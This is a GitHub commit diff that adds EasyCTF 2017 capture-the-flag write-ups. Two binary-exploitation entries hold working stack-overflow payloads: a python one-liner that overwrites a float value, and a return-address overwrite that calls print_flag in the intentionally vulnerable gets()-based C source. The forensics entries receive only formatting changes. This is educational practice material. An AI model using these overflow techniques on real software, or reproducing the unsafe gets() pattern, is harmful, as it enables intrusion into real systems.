Skip to content

Commit ef2bbf2

Browse files
committed
2 parents 8ed7b5a + f04ae58 commit ef2bbf2

6 files changed

+151
-5
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
# Doubly Dangerous - 110 Points
2+
3+
There seems to be an issue with [this](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/doubly-dangerous/doubly_dangerous?raw=true) binary. Can you exploit it?
4+
5+
### Solution
6+
7+
###### Writeup by VoidMercy from phsst
8+
9+
We were given a binary.
10+
11+
We first run it to see what it does
12+
13+
```
14+
Give me a string:
15+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
16+
nope!
17+
Segmentation fault
18+
```
19+
20+
Seems like a buffer overflow because there was a segmentation fault. This means gets() was probably used, and gets() does not care about the length of the string we input. Now let's take a look at the code in gdb with
21+
22+
```
23+
gdb doubly_dangerous
24+
set disassembly-flavor intel
25+
disas main
26+
```
27+
28+
Here is the interesting instruction:
29+
30+
```
31+
0x0804863c <+53>: fld DWORD PTR [ebp-0xc]
32+
0x0804863f <+56>: fld DWORD PTR ds:0x804876c
33+
0x08048645 <+62>: fucomip st,st(1)
34+
```
35+
36+
We can see that fucomip is being used, which is floating point instructions. We surmise that we need to make this compare return true. We can see that the value at 0x804876c is being compared to the value at ebp-0xc. Because we saw a segmentation fault, we know this consists of an overflow. We experiment with the amount of bytes to type until the value at ebp-0xc is overflowed.
37+
38+
```
39+
python -c "print 'A'*69" > temp
40+
41+
(gdb) r < temp
42+
...
43+
Breakpoint 1, 0x08048686 in main ()
44+
(gdb) x/10wx $ebp-0xc
45+
0xffffd0dc: 0x41414141 0xf7fc0041 0xffffd100 0x00000000
46+
0xffffd0ec: 0xf7e31a83 0x08048690 0x00000000 0x00000000
47+
0xffffd0fc: 0xf7e31a83 0x00000001
48+
```
49+
50+
Alright, we can see that 69 characters overflows the content at ebp-0xc and 1 extra character. This means we need 64 characters to get the ebp-0xc, and then with the next four characters, we can control what value to place in $ebp-0xc. Now, we need to check what value to replace it with.
51+
52+
```
53+
(gdb) x/10wx 0x804876c
54+
0x804876c: 0x41348000 0x3b031b01 0x00000030 0x00000005
55+
0x804877c: 0xfffffc60 0x0000004c 0xfffffe0b 0x00000070
56+
0x804878c: 0xfffffe97 0x00000090
57+
```
58+
59+
We can see the value we need is 0x41348000. Now we can construct our exploit.
60+
61+
```
62+
python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous
63+
```
64+
65+
```
66+
python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous
67+
Give me a string:
68+
Success! Here is your flag:
69+
easyctf{bofs_and_floats_are_d0uble_tr0uble!}
70+
```
71+
72+
## Flag
73+
74+
>easyctf{bofs_and_floats_are_d0uble_tr0uble!}

binary-exploitation/heaps-of-knowledge-420-points.md

+1
Original file line numberDiff line numberDiff line change
@@ -58,5 +58,6 @@ Oh look it worked! Running it against the EasyCTF server nets us the flag:
5858

5959
* [https://github.com/VulnHub/ctf-writeups/blob/master/2017/easyctf/heaps-of-knowledge.md](https://github.com/VulnHub/ctf-writeups/blob/master/2017/easyctf/heaps-of-knowledge.md)
6060

61+
* [https://github.com/VoidMercy/EasyCTF-Writeups-2017/tree/master/binexploit/Heaps-of-Knowledge](https://github.com/VoidMercy/EasyCTF-Writeups-2017/tree/master/binexploit/Heaps-of-Knowledge)
6162

6263

Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# Simple ROP - 120 Points
2+
3+
Read flag.txt
4+
5+
[Source](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/simple-rop/simple-rop.c)
6+
7+
[Binary](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/simple-rop/simple-rop?raw=true)
8+
9+
### Solution
10+
11+
###### Writeup by VoidMercy from phsst
12+
13+
We were given a binary and it's source code.
14+
15+
```
16+
#define _GNU_SOURCE
17+
#include <stdio.h>
18+
#include <stdlib.h>
19+
#include <sys/types.h>
20+
21+
void print_flag();
22+
void what_did_you_say();
23+
24+
int main(int argc, char* argv[])
25+
{
26+
gid_t gid = getegid();
27+
setresgid(gid, gid, gid);
28+
what_did_you_say();
29+
return 0;
30+
}
31+
32+
void print_flag()
33+
{
34+
system("cat flag.txt");
35+
}
36+
37+
void what_did_you_say()
38+
{
39+
char buff[64];
40+
gets(buff);
41+
printf("You said: %s\n", buff);
42+
}
43+
```
44+
45+
As the problem name suggests, this is a problem that uses ROP. We can see that we have to call the function print_flag() to get the flag, so we first get the address of this function with:
46+
47+
>objdump -d simplerop | grep "print_flag"
48+
49+
We find the address of print_flag to be: 0x804851a
50+
51+
Then, we have to find out the number of characters until we gain control of eip through the return address. Afterwards we append the address of print_flag() in little endian order (reversed order in chunks of 2 bytes), then pipe the input through python (to print the non printable ascii characters).
52+
53+
```
54+
python -c 'print "A"*64+"\x1a\x85\x04\x08"' | ./simple-rop #NO SEG FAULT, NOT ENOUGH CHARACTERS
55+
56+
python -c 'print "A"*76+"\x1a\x85\x04\x08"' | ./simple-rop #GOT THE FLAG! 76 IS A PRETTY COMMON SIZE FOR AN ARRAY OF 64 CHARS
57+
```
58+
59+
## Flag
60+
61+
>easyctf{r0p_7o_v1ct0ry}

forensics/bizarro-400-points.md

+5-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,10 @@
11
# Bizarro - 400 Points
22

3-
#### phsst - VoidMercy's writeup
3+
Something seems very strange about [this](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/bizarro/crpt.png) strange looking image. Check it out?
4+
5+
### Solution
6+
7+
###### Writeup by VoidMercy from phsst
48

59
We were given an image.
610

forensics/flag-peg-150-points.md

+5-1
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,10 @@
11
# Flag PEG - 150 Points
22

3-
#### phsst - VoidMercy's writeup
3+
We found a flag but it didn't do anything. Maybe you can find a better [flag](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/flag-peg/heresaflag.jpg)?
4+
5+
### Solution
6+
7+
###### Writeup by VoidMercy from phsst
48

59
We were given a .jpg file.
610

forensics/qr2-330-points.md

+5-3
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
1-
#QR2 - 330 points
1+
# QR2 - 330 points
22

3-
#### phsst - VoidMercy's writeup
3+
When I am not practicing my [Oboe](https://en.wikipedia.org/wiki/Oboe) for band, I have been working on a QR code generator. For some reason, some of the images are not scannable. [Here](https://raw.githubusercontent.com/EasyCTF/easyctf-2017-problems/master/qr-2/qr2.bmp) is one, can you tell me what it says?
44

5-
We were given a broken QR code.
5+
### Solution
6+
7+
###### Writeup by VoidMercy from phsst
68

79
The problem mentioned that this problem is related to "OBOE" somehow. We search this up and find that OBOE can also stand for off by one error. We surmised that the off by one refers to the mask of the QR code, so we manually changed the mask of the QR code to see if it would decode. Sadly, none of the masks work. (See wikipedia for more information on masks).
810

0 commit comments

Comments
 (0)